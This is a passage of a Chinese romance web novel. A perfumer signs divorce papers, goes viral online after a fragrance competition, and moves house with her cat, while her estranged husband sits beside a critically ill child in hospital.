徐清聿擅自做决定,擅自推开她,擅自消失不见,然后留给她一个冷冰冰的结果,让她自己去接受。 正如她所想,徐清聿又一次逃避话题:“云听,爸妈那边我会和他们说。” “好。”听到这话,云听彻底心灰意冷,电话挂断前她说,“既然你已经决定了,那就这样吧,我们好聚好散。” 财产,她不要。 离婚,她同意。 云听打印出离婚协议,翻到协议书的最后一页,在空白的签名处,拿起笔签下了自己的名字。 然后重新扫描离婚协议,附件发送到徐清聿的邮箱,标题只有三个字:“我签了。” 邮件发送成功。 身体像是失去了支撑,云听地瘫坐在椅子上,眼神空洞迷茫,她的大脑一片空白,被骤然清空了所有思绪,只剩下“离婚”这两个字在脑海中不断盘旋。 她和徐清聿真的结束了。 云听捂着脸哭泣,既有解脱后的轻松,也有对过去的不舍,更有对未来未知的恐惧。 此刻,所有的情绪都被这现实冲击得七零八落,让她整个人如坠迷雾,失了方向,傻愣在原地。 好冷,云听忍不住抱紧了自己。 真正落笔的那一刻,她才恍然,自己仍然不愿意接受现实。 云听用力咬住嘴唇,不让自己哭出声,可是眼泪像是断了线的珠子,一滴一滴地砸在纸面上,晕开淡淡的痕迹。 指尖捏紧了离婚协议书,她用尽全身力气才没有把它揉皱。 云听想问清楚到底发生了什么,可是她已经问过了,徐清聿也已经给出了他的答案。 “我不想耽误你。” 可笑的是,他所谓的“放手”,才是对她最大的伤害。 她想起过去的那些日子,想起他们曾经的争执,想起他偶尔的沉默,想起他低声哄她的模样,想起他偶尔落在她发间的亲吻…… 徐清聿喜欢她吗? 大概是没有的。 如果喜欢,为什么不肯再多说一句?如果喜欢,为什么要把她推开?如果喜欢,为什么连解释都不给她? 云听的眼泪顺着指缝落下来,滴落在桌子上、衣服上,洇出模糊的痕迹。 她就这样抱着自己,坐在书桌前哭了整整一夜。 没有人安慰,没有人拥抱,也没有人告诉她,这一切是不是一场梦。 直到天色渐渐泛白,云听才缓缓地抬起头,眼睛已经红得不像话,嗓子也干哑得发痛。 她看着桌上的离婚协议书,吸了吸鼻子,伸手将它放进了文件夹里,收进了抽屉。 然后,她站起身,走进浴室,打开冷水,让冰凉的水流冲洗着自己的脸。 云听望着镜子里的自己,脸色苍白,双眼浮肿,整个人憔悴得不像人样。 她抬起手,面无表情地擦去脸上的水珠。 洗漱完后,云听蘸取粉底液在脸上推开,欲盖弥彰地遮掩住眼底的浮肿和脸色的苍白。 随后她拿起口红,选了一支淡淡的裸粉色涂上,让自己看起来不要那么憔悴。 收拾完成后,她拿上包,走出家门,打车前往辛亦桐家。 辛亦桐还在睡觉,云听到那儿后在门口等了几分钟,辛亦桐才揉着眼睛,姗姗来迟。 “云云,你怎么亲自过来了?”她接过猫包,招呼她进来。 云听探过头找猫,不让辛亦桐看到自己的脸,“总不能一直让你帮我照顾它,还是我自己带回去吧。” 辛亦桐还是敏锐地察觉到了她的不对劲。 她放下猫包,走到云听的正前方,“你怎么回事?你这脸色……是不是发生了什么?” 云听顿了顿,低头抚摸着从房间里蹿出来的Zephyr:“我和他离婚了。” 6个字如一枚重磅炸弹,瞬间在辛亦桐的脑海里炸开。 “……什么?”辛亦桐以为自己听错了,声音陡然提高。 云听抬头,迎上她的目光,平淡地重复了一遍:“我和他离婚了。” 彻彻底底的,结束了。 空气寂静了一秒,下一刻,辛亦桐炸了。 “他妈的——!”辛亦桐直接爆了一句粗口,眼睛瞪得老大,脸上的表情如同见了鬼,“你跟我开玩笑的吧?你们俩不是好好的吗?他是不是疯了?” 云听神色平静地将事情的来龙去脉一五一十地讲了一遍——从徐清聿突然消失,到那封只有几个字的道歉邮件,再到她收到财产转让书和离婚协议书,以及昨晚她拨通电话时,徐清聿那句“我不想耽误你”。 辛亦桐听得脸色越来越黑,怒火几乎快要从眼里蹦出来。 “……就这样?! “她不可置信地瞪着云听,“他一句‘不想耽误你’,就把你推开了?他当你是什么?丢了就能捡回来的玩具吗?!” 云听抿唇,没有接话。 她已经难过了一整夜,现在,她只想平静地面对这一切。 辛亦桐的愤怒却烧得更旺了,她猛地一拍桌子:“这人到底有什么毛病?!不声不响地消失,连个解释都不给?!现在倒好,离婚协议书都甩过来了,连见你一面都不肯?!” 她越想越气,在客厅里来回踱步,一边骂个不停。 “你说他什么朋友出事了,搞得非得远走高飞,放屁吧!就算朋友出事,他也不至于直接把你甩了吧?! 云听被她骂得耳朵有些发胀,叹了口气:“你别骂了……” “不骂?”辛亦桐怒瞪她,“我不骂他我难受!” 她气得脸色发红,站定后,又深吸了一口气,指着云听,语气带着恨铁不成钢:“你也是,你就这么答应了?他让你签你就签?你不会问清楚吗?” “我问了。”云听说,“但他不愿意说。” 辛亦桐狠狠地磨了磨牙:“他不愿意说,你就这么算了?!” “……不然呢?”云听垂下眼睫,“难道我死缠烂打地去问吗?他既然不想说,那我也不想逼他。” 辛亦桐眼里写满了不甘:“可是你明明……” 明明还在乎他,明明还舍不得。 可这句话,她没能说出口。 辛亦桐凝视云听的眼神,那双曾经清亮的眸子,现在仿佛蒙上了一层看不见的雾,寂静得让人心疼。 她张了张嘴,咬牙道:“行吧,既然你决定了,那我也不劝你。” 说完,她狠狠地往沙发上一坐:“徐清聿我不可能原谅,太混蛋了。” 下午,云闻也知道了这件事,直接打电话过来,劈头盖脸就是一顿骂:“聿哥他是不是疯了?就这样消失了?连个理由都不给?!” 云听猜是辛亦桐告诉她的。 云闻说昨晚她的心脏疼,今天又接到了辛亦桐的电话,才知道她出事了。 云听正在给Zephyr修剪指甲,被云闻一吼,差点剪歪。她将手机从耳边拿远了一些,等云闻骂完后,才说:“姐,感情是两个人的事,我也不想勉强他。我喜欢徐清聿,但徐清聿没道理必须回应我的喜欢。” “你是不想勉强他,可他这是什么态度?!”云闻语气愤愤,“行吧,不愿意说原因是吧?我去问叔叔阿姨。” 云听制止了她,“姐,这件事让我们自己处理吧。” 云闻正在气头上,哪肯听她的话,“不行,我必须告诉他们。” 云听放下指甲刀,安慰云闻:“姐,不用为我难受。我已经想明白了,和徐清聿结婚生子幸福一辈子是结果,和徐清聿一别两散也是结果,一件事已经有结果,那我们就不要管结果的好与坏了,行吗?” …… 接下来的几天,云闻和辛亦桐一直陪着云听,生怕她想不开,两个人整天紧张兮兮,碰到一丁点小事就一惊一乍,反倒是云听看起来最正常。 徐深凛和邢时漫多次问她徐清聿的事,云听闭口不谈,她不想一个人面对6位长辈,被他们围追堵截。 既然徐清聿说他自己会解决,那她没必要先提。 云听的日程被排得满满当当,没有一丝空隙。 她知道自己是在用工作麻痹自己。 只有不断地让自己忙碌,她才不会去想那些她不愿面对的事情。 云闻和辛亦桐离开后,幸好,还有Zephyr陪着自己。 云听想,是时候给布偶换一个名字了。 可即便如此,所有的道理她也懂,但夜晚依旧漫长难熬。 云听洗完澡,躺在床上,盯着天花板,毫无睡意。 索性爬起来,打开电脑,把今天的工作又过了一遍。 她宁愿加班到凌晨,也不想让自己闲下来。 这样就不会胡思乱想,也不会去想,那份没有签名的离婚协议书,徐清聿到底什么时候才会签字? 与此同时,云听在国际调香大赛上的比赛视频被人上传到了网上。 最开始只是调香届小范围的传播,但因为她在比赛中的表现极具争议——“剑走偏锋”、“希望之香”、“医院的气息”,加上她与评委之间的针锋相对,这场比赛的视频迅速在各大平台流传开来。 起初,云听并没有察觉到变化,只是觉得手机比平时多了几条消息。等到同事把相关链接发给她时,她才点进去看了一眼。 比赛的录像经过剪辑,被制成了一个十几分钟的短片,播放量已经突破了百万。 视频中,她站在透明的调香区域里,神情专注地挑选香料,偶尔蹙眉,偶尔低头记录,最后,她郑重地将最终的香水交给评委的画面,被放慢了速度,配上了极具氛围感的背景音乐。 再往后,是评委们的点评,尤其是那个对她提出质疑的评委,他的咄咄逼人和她的冷静反驳,成为了整个视频的高潮。网友们的弹幕直接炸了。 【她好飒啊!】 【完全不怯场,气场太稳了吧】 【这个香水的灵感竟然是医院……这也太特别了】 【本来以为她要被评委怼哭了,没想到她直接回怼回去了,牛!】 【剑走偏锋是真的剑走偏锋,结果还挺有深度的】 【这才是真正的艺术创作,不是单纯地迎合市场,而是用香水表达自己的想法】 短短几个小时,视频的点赞量飙升,评论区里充满了讨论。 许多专业的调香师、香水爱好者都参与了讨论,关于“希望之香”到底有没有市场的争论,几乎在各大社交平台上掀起了一场讨论热潮。 有网友顺着比赛视频,翻到了她过去的微博和比赛视频。 本以为云听的微博会是什么高端调香师的日常记录,结果点进去一看清一色的官方内容,偶尔发一点香水品牌宣传,微博更新频率极低,简直是一个互联网隐士。 【为什么一个调香师能有这种气质?不当明星可惜了】 【有没有人觉得她有种高级感?】 【她的微博居然没什么自拍,真的好神秘!】 【已经关注了!以后她出的香水必须买爆!】 网友们的热情让云听始料未及。她随手点开评论区,发现几乎每条微博下面都有大批网友表白,甚至还有人P了她的照片,做成了各种应援图。 【姐姐,我愿意为你疯,为你狂,为你哐哐撞大墙!】 【太喜欢你的比赛思路了,求出同款香水!】 【能不能直播一下日常调香?想看你的工作过程!】 云听不经常看社交网络,但偶尔还是会挑几条回复一下。 网友:姐姐,你的香水真的有在卖吗?想买! 云听:目前没有量产。 网友:比赛上那个评委真的是……好气人!但你反驳得太帅了! 云听:谢谢,每个人都有自己的审美。 网友:老婆,你是不是单身啊? 云听看了一眼,没有回复,直接划了过去。 “双生”品牌方也提前发布了云听和云闻一起拍摄的照片。 这组照片原本是为下季度的宣传准备的,品牌方看到云听的热度不断飙升,立刻调整了宣传策略,抢在风头最盛的时候发布。 网友们纷纷猜测哪个是姐姐,哪个是妹妹。 【这两姐妹的颜值太高了吧?家族基因太强大了!】 【姐姐和妹妹的风格完全不一样,但都好美!】 【请问两位女神是单身吗?】 评 论区很快被“单身”这个问题刷屏。 没多久,云闻直接在自己的微博下大大方方地回复了一句:“都单身。” * Olivier 在比赛结束后也在网上火了起来。 他本身就有一定的知名度,如今调香比赛的热度未退,作为冠军,他的一举一动都受到关注。 他突然开通了微博,并发了第一条动态—— 【感冒了,什么时候能有一个医疗旅游假?@Celia】 配图是一张他窝在床上的照片,头发微乱,嘴唇很白,手边放着感冒药,看起来病恹恹的,却又有几分风流不羁的气息。 这一条微博一出,网友们又坐不住了。 【天呐,他居然开通了微博!】 【等等,他艾特了我老婆?!】 【所以你们到底是什么关系?快说!】 【法国人的浪漫果然不一般,一感冒就想找我老婆安慰?】 【金发碧眼+天才调香师+冠军+风度翩翩+浪漫……这是什么绝世人设?】 Olivier长相英俊,鼻梁高挺,身形修长,最重要的是,他拥有法国人的浪漫基因。 和云听在比赛上的针锋相对,被不少人解读成了一种“宿命的对手”关系,而比赛结束后,他又主动发微博艾特云听,让网友们的八卦之魂瞬间熊熊燃烧起来。 【你们不会真的有点什么吧?】 【法国人的浪漫,谁懂啊?】 【我宣布,这对CP我磕了!】 【老婆,你倒是回应一下啊!】 云听看到这一条微博的时候,无奈地笑了笑。 她知道的Olivier性格,前几天他们加了好友,聊天内容很纯洁,都是围绕香水。 Olivier艾特她纯粹是玩笑性质,没想到掀起了这么大的波澜。 她想了想,给他回了一条评论: 【多喝烫水,我们中国的良药,包治百病。】 这条评论一出,网友们又开始沸腾了。 【啊啊啊啊啊!老婆回复了!】 【所以他们真的认识?关系真的很好?!】 【有没有一种可能,这个外国佬其实是想让我老婆去照顾他?】 【法国人这种性格,喜欢一个人估计就是这种模式吧?先当对手,后变情人?!】 Olivier很快也回复了她,依旧是轻佻的语气: 【太冷漠了,我以为你会更温柔一点。】 一时间,两人的cp粉开始涌现。 有人开始剪辑他们比赛时的片段,有人开始写同人故事,甚至还有人开始绘制他们的漫画。 云听没有把这些放在心上。她和法国人确实关系不错,但更多的是基于对调香的欣赏和共同话题。 她原以为自己在比赛后会逐渐回归平静的生活,专注于自己的事业,没想到,热度反而越来越高了。 但心态不一样了,云听并不排斥这种关注。 这是她创立品牌的一个机会。既然这么多人关注她,那她正好可以利用这股热度,把自己的香水事业推向更高的层次。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 50-60 第51章 第五十一章 他再这样下去,人都废了…… 云听搬家了。 她挑了个环境不错的小区, 绿化率高,远离喧嚣。 房间的装修以暖色调为主,米白色的墙壁搭配原木家具, 是她喜欢的风格。卧室在靠窗的位置,阳光透过窗帘洒进来时,能在地板上留下柔和的光影。 外面空气湿冷,云听刚进来时冻得直搓手, 好在屋内暖气充足,待了一会儿,整个人暖和了许多。 她心满意足地望着宽敞的客厅,低下头对Zephyr说:“以后这里就是我们的新家了。” Zephyr从她怀里跳下来,四处嗅了嗅, 在地毯上打滚。 它的适应能力强,不到10分钟,轻松地接受了陌生的环境。 云听弯起嘴角,开始拆快递。 以前她给Zephyr买玩具时总是犹豫再三,挑选半天, 只敢买一些实用又不占空间的。 因为徐清聿不喜欢太过花哨的东西,尤其是满地的猫玩具,他会觉得乱。 云听想给猫买个逗猫棒、猫爬架,都会先考虑徐清聿的感受, 思索这些东西会不会太占地方,影响房间的整洁。 最后思来想去, 她只能克制冲动,委屈Zephyr用最基础的猫抓板和猫窝。 但现在,她不用再顾虑什么了。 云听坐在沙发上,拆一箱又一箱的快递, 很快地板铺满了满满当当的猫咪用品。 猫窝、猫爬架、智能饮水机、小型秋千、各种不同款式的逗猫棒、发光小球、仿真老鼠…… 连猫咪的衣服,她都买了一堆。 猫窝有三四个,不同颜色,不同材质,放在家里的各个角落,Zephyr喜欢哪一个都行。 猫爬架足足有两米高,占据了客厅一角,它可以从最底层爬到最顶端,俯视整个房间。 Zephyr在一堆新玩具里好奇地转来转去,用爪子拨弄这个,又去咬那个。 云听拿起彩色羽毛逗猫棒,在它前晃了晃:“喜欢吗?” Zephyr“喵”了一声,猛地扑了过去,一爪子按住羽毛,尾巴高高翘起,兴奋地甩来甩去。 云听笑了,继续和它玩,猫追着跑了一圈,又扑腾着跳上了猫爬架,在上面探头探脑。 还剩几个快递没拆,云听仔细看寄件人信息,发现这些东西不全是自己买的。 有些是云闻买的。 云闻给她寄了一整箱高级猫粮,附赠一张便签:“你养的猫,得吃最好的。” 有些是辛亦桐买的。 辛亦桐更夸张,直接寄了一整套猫咪豪华玩具,还特地标注:“人可以没有对象,但猫不能没有玩具!” 云听哭笑不得。 她把猫爬架安装好,把猫窝摆在阳光充足的角落,饮水机和猫砂盆分别放在合适的位置。 做完这一切,云听站起来活动了下筋骨。 Zephyr很满意,钻进新猫窝里踩了踩,踩够之后叼起一个毛茸茸的玩具球,兴奋地在地上扑腾。 云听搬家后的第二件事,就是给Zephyr换一个名字。 她托着下巴,注视在猫爬架上玩得正欢的Zephyr,试探性地喊了一声:“小白?” Zephyr不理她。 “毛球?” Zephyr甩了甩尾巴,继续咬玩具。 云听接连换了好几个名字,Zephyr都没有反应。 她一时之间也想不到好听的名字。 思忖半晌,“要不,就叫云朵吧。” Zephyr终于大发慈悲抬起头,懒洋洋地看了她一眼,像是认可了一般,软乎乎地叫了一声。 * 比赛的热度还未完全过去,各种合作和投资意向还在连续不断地涌入云听的邮箱。 她照旧每天会抽出时间筛选邮件,但大多数时候,她扫一眼就关闭了。 投资方开出的条件都很好,有些甚至愿意给予她极大的自由度,让她全权掌控产品设计和品牌理念,可云听还是犹豫。 她真的要创立自己的品牌吗? 她想了很久,也想得很深。 云听打开笔记本,上面写满了各种关于香水品牌的构思。 从品牌名称到核心理念,从目标市场到产品定位,她写了一遍又一遍,修改了一次又一次。 笔记本上有的地方已经被她反复翻动得起了卷边,有几页纸被她按得凹进去,可见她的纠结和犹豫。 云 听真的想尝试一下。 这个念头在她脑海中翻滚了无数次。 早在成为调香师的第一天,她就幻想过,有一天能拥有自己的香水品牌,而不是为别人设计香水、按照市场需求调制商业化的产品。 她希望能创造出属于自己的香水系列,不被市场和流行趋势束缚,用她自己的风格和理念去定义。 可是,她一直不敢。 她害怕自己不够成熟,害怕市场风险,害怕品牌无人问津。 她总认为自己还不够格,经验,阅历、能力不够,或许连启动资金也不够。 云听太清楚做一个品牌有多难,从研发、生产、推广、销售,每一个环节都需要庞大的资源和团队,而她只有一个人。 所以她把这个想法扼杀在摇篮里,一次次地告诉自己还不是时候。 她继续跟着Ethan做事,接品牌的调香工作。 这半年,不能否认,她工作很充实,收获颇多。 云听想着等时机成熟了再说,等她更有经验了再说,可到底什么时候才算成熟呢? 她自己也不知道。 可现在,一切都不一样了。 经历了这次调香比赛,她发现自己的想法并不比市场上的大牌调香师逊色,她有自己的坚持和风格,而市场其实是多元的,不是只有迎合大众的香水才有生存空间。 更重要的是,她不再害怕失败了。 她已经经历了一段失败的婚姻,已经承受过最痛的告别,明白人生没有什么是可以绝对掌控的,与其一味地害怕,不如尝试一下,至少不会留遗憾。 但云听心里同时有一个无法忽视的问题。 她如今的一切,都是Ethan给的。 自己还是个籍籍无名的实习生时,Ethan是第一个愿意教她的人。是Ethan带着她进入这个行业,给她机会让她接触真正的调香世界。 她能有今天,Ethan功不可没。 现在,她要离开Ethan,创立自己的品牌,这让她有些愧疚。 云听不是没有考虑过继续在Aurora品牌旗下,然后以个人调香师的身份推出香水系列。 但她很清楚,这样一来,她的品牌永远会被打上Aurora品牌的标签,不管她做得再成功,大家都会觉得她只是“某某品牌的调香师”,而不是一个真正独立的品牌创始人。 她想做的,不是Aurora的附属,而是一个完全属于自己的香水世界。 可如果现在就提出离开,未免太不道德。 Ethan一直很器重她,很多重要的香水项目都交给她一个新人负责,如果她现在拍拍屁股走人,不仅让Ethan难做,也会给品牌带来一定的影响。 云听反复思考,衡量利弊,最后决定等去乡村和老太太沟通非遗线香的事情完成后,再正式向Ethan提出辞职,并做好工作交接。 第二天。 她鼓起勇气,来到Ethan的办公室。 Ethan正坐在办公桌后,翻阅一本调香资料,见到她进来,笑着问道:“怎么了?看你最近心事重重的样子。” 云听走到Ethan面前,犹豫了一下,还是开口了:“师傅,我想和您谈一件事。” “嗯?”Ethan放下资料,示意她继续说下去。 云听咬了咬唇,没底气地说:“师傅,我一直在想,要不要创立自己的香水品牌。” 这句话说出口后,她紧张地看向Ethan,生怕对方会生气。 不过,以她对Ethan的了解,Ethan绝对不会生气,只是云听过不了心里这一关。 闻言,Ethan微微一怔,随后露出一个了然的神情,淡淡一笑:“终于下定决心了?” 云听诧异:“您早就知道?” Ethan一副“你小看我”的表情:“从比赛回来后,你整个人的状态就不一样。我以为你会再犹豫一段时间,没想到这么快就想通。” 云听不好意思低下头,没敢承认一部分情绪来源离婚:“我其实很早之前就有这个想法,只是一直不敢迈出第一步,现在我想尝试一下。” Ethan若有所思,静默三秒后他说:“你是个优秀的调香师,拥有自己的品牌是迟早的事。这条路不容易走,但如果你真的决定了,我当然支持你。” 云听没想到Ethan会答应得这么爽快,她有些感动:“师傅,您真的不介意吗?” “当然不介意。”Ethan笑着摇头,“每个调香师都会有自己的梦想,你能有这样的想法,我反而为你高兴。” 云听眼眶发热:“谢谢师傅……但我不想就这样走了,我想等这次非遗香料的事情完成后,再正式交接工作。” “你能这样想,我很欣慰。”Ethan反过来安慰云听,“不过你也别太有心理负担,调香这个行业,最重要的就是创新,你去做自己的品牌,不是背叛,而是成长。” 云听一直害怕Ethan会不高兴,害怕他会觉得她是个忘恩负义的人,这下心里的石头终于落下了。 * “我一点都不喜欢这。”云闻拎着大包小包走进家门,进门后脱掉大衣随意往沙发一扔。 “听宝,这么冷的天,我过来得花很长时间,开车开得我腰都酸了。” 云闻这几天没有拍摄的任务,很闲。 她一个人独处无聊,云听又不肯过去陪她,她只好收拾东西过来陪云听。 云听将她的衣服挂在衣架上,“这里环境好呀。” 云闻走到窗边,看窗外毫无美感的景色:“这大冬天的,怎么能看出来绿化率高不高?” 云听指向楼下那片绿意盎然的草坪和四周的树木:“你看,虽然是冬天,但这些树木和植物依然保持生机。不是所有小区都能做到这一点。绿化率高的小区,通常会有大量的常绿植物,哪怕冬季,也能带来足够的绿意。而且,空气质量也很好,呼吸起来特别清新。” 云闻不信,但说不过云听,她的鼻子没有云听来得灵敏。 敷衍地点下头,“你说得对。” 云听去了一趟房间,出来时看到云闻坐在沙发上,一脸无奈地抱着抱枕。 孟妍不知道什么时候来的,站在茶几旁,叉着腰,一副要训人的架势。 孟妍知道云听搬出来的事,她不赞同,但一想到云听是为了工作,她也没阻拦,只说让她和徐清聿小两口自己决定。 云听看到,走前去问道:“怎么了?” 孟妍一听见她的声音,立刻转过头来,皱着眉头:“你姐姐最近是不是在网上瞎说什么了?我刚刚和几个朋友打麻将,结果她们一个个跑来问我,你们俩是不是还单身!” 云听:“……” 云闻无语地叹了口气,幽幽道:“妈,你们可真神通广大,连微博上的事都能知道?” “你还敢说!”孟妍怒瞪她,“你在网上公开说你们两个是单身,这不是让人笑话吗?!” 云闻翻了个白眼,满脸不服气:“我说的是事实啊!” “事实?”孟妍一听,声音提高了几分贝,“你别以为我不知道你那点小心思!你是不是嫌别人不知道你妹妹结婚了,还故意说这种话吸引注意?” 云闻狡辩:“妈,你的逻辑有点问题啊,我这不是在给自己找对象吗?你不想早点抱外孙?” “少跟我贫嘴!”孟妍气得直接抄起旁边的靠枕,狠狠地拍了云闻一下,“我不管你怎么胡说八道,但你不能拿你妹妹的婚姻开玩笑!你妹妹可是有老公的人,这样的话传出去,像什么样子!” 云闻被拍得往旁边挪了挪,满脸委屈地看向云听。 她是真的很想告诉孟妍真相,直接摊牌说小听和聿哥两人快离婚了。 云听朝她摇了摇头。 云闻立刻心领神会,嘴巴张了张,把话吞了回去。 她只能默默承受孟妍的怒火。 表面上装作听训,心里忍不住疯狂吐槽。 这个锅,她背得也太冤了吧。 云听坐到云闻旁边,替她解围:“妈,网上的事情不用太在意,大家就只是随口一问而已。” 孟妍被这句话噎了一下,但还是不满地瞪着她们姐妹俩:“行吧,我也不管你们这些年轻人的社交方式了,但是你们以后别再乱说了,知道吗?” 改不改是一回事,认不认错又是另一回事。 云闻就是典型的认错快,但死活不改的性格,她装模作样对天发誓:“知道了知道了,保证以后不乱说。” 孟妍哼了一声,不放心地嘀咕:“你们两个,真是让我操心……” 孟妍来也匆匆,去也匆匆,批评完云闻后, 头也不回走了。 云闻还没来得及留她吃外卖。 她撇了撇嘴,打开外卖软件点外卖。 自从品牌方提前发布她们姐妹的照片后,云闻的热度也一路飙升,收获了一大批粉。 最近,她闲暇时,喜欢直播和网友唠嗑。 聊天的内容五花八门,从今天的天气到最近看的电视剧,从街边新开的小店到网上刷到的搞笑视频,她所有话题都能聊、都能接。 有时候,她还会即兴唱几句歌,只不过气息不太稳。 云闻本身性格外向,幽默风趣,能轻松带动气氛。哪怕只是随意和粉丝聊天,也能让直播间热闹得像是在开派对。 晚上,云听刚洗完澡,穿着一件舒适的家居服,抱起云朵准备回房间休息。 路过客厅时,听到云闻正在直播,笑声不断。 “好啦好啦,我知道你们想看我,但你们这群人到底是怎么回事,怎么突然开始刷我妹妹的名字?” 云闻一边盯着弹幕,一边夸张地叹了口气,“我才是主播欸,你们这样让我很没有面子的!” “你们啊,真是……”她俏皮地说道,“你们以为我不想让她出现吗?我妹妹现在可是千金难求啊!” 话音刚落,直播间里忽然出现了几条巨额礼物刷屏的特效。 【用户abc362848defg打赏豪华游轮×10】 【用户abc362848defg打赏超级火箭×20】 【用户abc362848defg打赏梦幻城堡×30】 直播间的弹幕爆炸。 【卧槽??这是谁??】 【出手太豪了吧!】 【几十万就这么砸出来了??】 【我才刚刷了一个小飞机,人家直接梦幻城堡??】 【千金难求是吧,这位大佬直接砸钱求妹妹露脸了哈哈哈哈】 云闻回过神来,看向送礼物的网友ID,发现是一串乱码。 她愣了一下:“这位……呃,乱码大哥,你是认真的吗?我刚刚只是开玩笑的,而且我妹妹真的不方便出镜。” 话还没说完,又是一连串的超级火箭。 【用户abc362848defg打赏超级火箭×40】 【用户abc362848defg打赏超级火箭×50】 对方还高冷地发了一条弹幕: 【认真。】 云闻叫住云听:“哎呀听宝,看来这位大佬是真的想看你呢。” 云听头也不抬:“不要。” “可是”云闻看了眼还在不断跳出的礼物提示,“乱码大哥刷了好多礼物,就想看你一眼。” “求你了!”秉持着金主是爸爸的原则,云闻双手合十,恳切求云听露面:“听宝,就一眼! 云听实在是拗不过云闻,只好慢慢走到镜头前,靠近了一点点。 云闻把镜头对准云听:“乱码大哥,这样可以了吗?” 直播间的弹幕再次疯狂滚动。 【哇啊啊啊!真的出现了!】 【千金难求的妹妹终于露脸了!】 【呜呜呜,姐姐你太宠粉了吧!】 【快看妹妹的皮肤,好好啊! 【这不是我梦中女神吗?!】 砸钱的乱码网友没有继续刷礼物,只发了一条简单的弹幕: 【嗯。】 云闻噗嗤一声笑了:“好高冷的回答啊。” 可就在下一秒,对方又发了一条消息。 【多吃点。】 云听看到后一怔。 直播间的网友又炸了。 【???这是关心妹妹吗?】 【大佬的发言好朴实无华啊……】 【我怎么感觉这个大佬的态度不一般?】 【好像有点宠溺的感觉??】 【这不会是妹妹的追求者吧?!】 云闻眯着眼睛,带着八卦的笑意问道:“听宝,你是不是认识这位大佬啊?” 云听摇了摇头,声音淡淡的:“不知道,应该只是普通网友吧。” 她现在的粉丝很多,经常会有陌生人关心她,她早已习惯,所以只是礼貌地回复了一句:“谢谢。” 说完,云听轻轻拍了拍云闻的肩膀,低声说道:“你继续直播吧,我先回房间了。” * 医院的走廊寂静无声。 病房外的长椅上,徐清聿坐在那里。 他穿着一件普通的白色T恤,衣服皱巴巴的,脚上的运动鞋上沾着些许灰尘。 他的头发很乱,脸色苍白,胡渣也冒出了浅浅的一层,整个人都透着一股疲惫和憔悴。 平日里笔直如松的脊背此刻下塌,周身那拒人千里的强大气场也被疲惫撕开了一道口子。 病房里,一个六七岁的小女孩毫无生气地躺在病床上,脸色苍白得近乎透明,已经被病痛抽走了所有的血色。 她的鼻子里插着氧气管,透明的管子顺着她的脸颊蜿蜒而下,连接到床边的氧气机上。 机器发出轻微的“滴滴”声。 小女孩的头发被剃掉了一部分,头上缠着厚厚的纱布,纱布下隐约可以看到几道狰狞的伤口。 仔细看,她的手臂瘦得几乎皮包骨,手背上插着输液管,针头深深地扎进她的血管里,液体一滴一滴地流入她的身体。 徐清聿一动不动地坐在外面。 Elliot和Kai站在他身边,一言不发。 良久,Kai眉头拧成一个“川”字,“Zeph,你到底想怎么样?” 徐清聿对他的话充耳不闻。 Elliot实在看不下去,一把揪住徐清聿的衣领,把他往上提,问道:“Zeph,你到底想怎么样?天天这副要死不活的样子,像什么话!” 徐清聿被这一揪,身形晃了晃,却没反抗,脑袋无力地垂着,神情木然,像个断了线的木偶。 “你喜欢云听,为什么不告诉她?” Kai赶忙上前,用力掰开Elliot的手,把两人隔开,着急地说:“Elliot,你先别冲动!这里是医院,不要吵架。Zeph他现在心里不好受,咱们有话好好说。” Elliot狠狠甩开徐清聿,烦躁地抹了把脸。 他的胸脯剧烈起伏,满脸怒容,手指着徐清聿道:“他再这样下去,人都废了!” 徐清聿缓缓抬头,眼神空洞地望着前方,嘴唇动了一下,什么也没说。 Elliot继续说道:“你以为你不说,她就不会难过吗?她现在一定以为你抛弃了她。” “你以为把财产转给她,签了离婚协议,她就能好好过日子?” “你不解释清楚,她只会觉得自己被你无缘无故丢下。” 徐清聿低垂着眼,指尖摩挲着手机,嗓音低哑:“……她会过得很好。” Elliot被他这句话气笑了:“她过得很好?你亲眼看到她笑了?你亲耳听到她说她不难过?” “你以为你消失了,她就能马上释怀?” “感情不是你想放下就能放下的。” “你看看你现在什么样子。” 病房里传来微弱的咳嗽声,徐清聿神色一变,下意识地站起身,透过门缝望向里面的女孩。 Kai沉重地叹了一口气:“Zeph,你就这么守着她,然后把自己的人生搭进去?” 就在这时,病房里传来仪器尖锐的警报声。 所有人一瞬间僵住。 病房里,女孩的身体开始抽搐,脸色更白了。 医生和护士迅速冲进病房。 “快!抢救!” 病房的门被推开,护士飞快调整仪器。 医生低声指挥,场面紧张而混乱。 徐清聿指节泛白,Kai和Elliot屏住呼吸,脸色难看至极。 时间仿佛凝固了,每一秒都无比漫长。 不知道过了多久,病房的门打开,医生走了出来,摘下口罩,神色疲惫:“这次抢救过来了,但孩子的情况很不乐观,你们要做好心理准备。” 第52章 第五十二章 葬礼 Olivier最近总找云听聊天, 话题天南地北。 「你们中国有什么好吃的?」 「你觉得去中国旅游,最值得去的地方是哪?」 「对了,你有男朋友吗?」 前两个问题云听还能认真回答, 她耐心地给他介绍各种地方的小吃和名胜古迹。 但云听不喜欢谈论自己的私生活,尤其面对一个并不算熟络的朋友。但她也不想表现得太刻意,索性简单地回复了两个字: 「没有。」 Olivier安静几秒,随即发来一个笑脸: 「那看来我是有机会的。」 云听没有接话, Olivier的话打趣居多,云听不至于自恋到他认为想追自己,回了一 个表情包。 可惜外国人不懂,有时候发表情包代表无话可聊。 Olivier没有就此打住,很快又转回香水的话题:「Celia, 你知道霜花吗?」 “霜花”是调香界的神话级作品,可以说没有调香师不知道霜花。 云听在学习调香的过程中,研究过无数次,每一次都被它近乎完美的配比折服。 她回复:「当然了解,那是经典。」 云听不知为何想起徐清聿和Elara的关系, 又回一句:「Elara女士可以说是大部分调香师的偶像。」 Olivier又发了个死亡微笑脸,故意吊云听胃口:「不过,你听过她最近的传闻吗?」 Elara的名字在业内几乎无人不知,但关于她的真实身份, 充满神秘感。 她很少公开露面,没有过多的个人信息流出, 甚至连她的国籍都众说纷纭。她的信息被保护得太好了,好到连业内的同行都对她知之甚少。 有人猜测她是某个古老香水世家的继承人,不需要抛头露面,只靠作品就能在业界占据一席之地。 也有人说她只是单纯的低调, 不喜欢外界的关注,更不想被资本市场绑架,才选择远离公众视线。 还有更离奇的传闻,说Elara只是一个代号,背后或许不是一个人,而是一个隐秘的调香团队。 云听对这些口说无凭的猜测不感兴趣,只关心作品。 她研究过Elara的香水,可惜,关于Elara本人,她一无所知。 她问:「什么传闻?」 Olivier发来一条语音。 云听翻译成中文,大意是:「小道消息,说她生了一对双胞胎女儿。」 